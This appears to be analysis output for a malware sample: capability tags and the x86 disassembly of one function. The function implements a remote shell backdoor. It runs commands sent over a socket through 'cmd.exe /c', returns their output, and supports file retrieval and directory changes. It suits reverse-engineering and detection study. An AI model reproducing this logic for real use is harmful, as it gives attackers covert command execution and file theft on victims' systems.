Function at 0x10003a13
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute shell command and capture output
Get common file path
Get socket status
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbbc
push ebx
push esi
push edi
push 0x4a
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x2b7]
mov byte [ebp - 0x2b8], bl
mov byte [ebp - 0x9bc], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x9bb]
mov esi, 0x200
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ax, word [0x100115b0]
lea edi, [ebp - 0x26]
mov word [ebp - 0x28], ax
xor eax, eax
stosd dword es:[edi], eax
push esi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x34], 0xc
stosd dword es:[edi], eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 1
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp - 0x10], eax
pop ecx
lea eax, [ebp - 0x5bc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x5bc]
push 0x10006188
push eax
call sub.MSVCRT.dll_strcat
pop ecx
mov esi, 0x1400
pop ecx
mov edi, 0x1000e890
lea eax, [ebp - 0x34]
push ebx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x10003eaf
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 4]
push str.cmd.exe__c
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x2b8]
mov word [ebp - 0x48], bx
push eax
mov dword [ebp - 0x4c], 0x101
call sub.MSVCRT.dll_strcat
push esi
push ebx
push edi
call sub.MSVCRT.dll_memset
push esi
push ebx
push 0x1000d490
call sub.MSVCRT.dll_memset
push esi
push ebx
push 0x1000ffa8
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x5bc]
push eax
push 0x1000d490
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp + 8]
add esp, 0x34
mov dword [ebp - 0x188], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18c]
push ebx
push eax
push ebx
push ebx
mov dword [ebp - 0x18c], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x10003eaf
lea eax, [ebp - 0x18c]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10003bcc
push ebx
push 0x1000d490
push 0x1000ffa8
call fcn.10003ed0
add esp, 0xc
lea ecx, [ebp - 0x28]
mov dword [ebp - 0xc], eax
push ebx
push 4
push 0xa
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__itoa]
add esp, 0xc
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 0xc]
push 0x1000ffa8
push dword [ebp + 8]
call fcn.100046c9
add esp, 0xc
mov eax, dword [ebp + 8]
push esi
push ebx
push edi
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3bc], 1
call sub.MSVCRT.dll_memset
push esi
push ebx
push 0x1000c030
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x3bc]
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x10003eaf
lea eax, [ebp - 0x3bc]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10003abb
push 0x1000d480
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push ebx
push 0x13ff
push 0x1000c030
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
push ebx
push 0x1000c030
push edi
mov dword [ebp - 0xc], eax
call fcn.10004123
add esp, 0xc
cmp dword [ebp - 0xc], 0xffffffff
je 0x10003ea6
push 7
push str.getfile
push edi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x10003c9f
push str.getfile
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
add eax, 8
push eax
push dword [ebp - 0x10]
call sub.MSVCRT.dll_strcpy
push dword [ebp - 0x10]
call fcn.10004363
add esp, 0x14
jmp 0x10003abb
push 4
push str.exit
push edi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
je 0x10003eaf
push 4
push str.quit
push edi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
je 0x10003eaf
push 2
push 0x10006160
push edi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x10003d40
push 0x10006160
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
add eax, 3
push eax
lea eax, [ebp - 0xbbc]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0xbbc]
push eax
call dword [sym.imp.MSVCRT.dll__chdir]
add esp, 0x14
test eax, eax
jne 0x10003d40
lea eax, [ebp - 0x5bc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x5bc]
push 0x10006188
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x10003abb
push esi
lea eax, [ebp - 0x2b8]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0xc
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push 0x10
push 1
push ebx
lea eax, [ebp - 0x2b8]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10003abb
push 0x12c
lea eax, [ebp - 0x2b8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
lea eax, [ebp - 0x9bc]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x9bc]
push 0x400
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0x14], ebx
je 0x10003e98
push esi
push ebx
push edi
call sub.MSVCRT.dll_memset
push esi
push ebx
push 0x1000d490
call sub.MSVCRT.dll_memset
push esi
push ebx
push 0x1000ffa8
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x9bc]
push eax
push 0x1000d490
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp + 8]
add esp, 0x2c
mov dword [ebp - 0x188], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18c]
push ebx
push eax
push ebx
push ebx
mov dword [ebp - 0x18c], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x10003eaf
lea eax, [ebp - 0x18c]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10003d99
push ebx
push 0x1000d490
push 0x1000ffa8
call fcn.10003ed0
add esp, 0xc
lea ecx, [ebp - 0x28]
mov dword [ebp - 0xc], eax
push ebx
push 4
push 0xa
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__itoa]
add esp, 0xc
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10003eaf
push dword [ebp - 0xc]
push 0x1000ffa8
push dword [ebp + 8]
call fcn.100046c9
add esp, 0xc
jmp 0x10003d99
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10003abb
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp - 8], ebx
je 0x10003ebd
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], ebx
pop edi
pop esi
pop ebx
je 0x10003ece
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret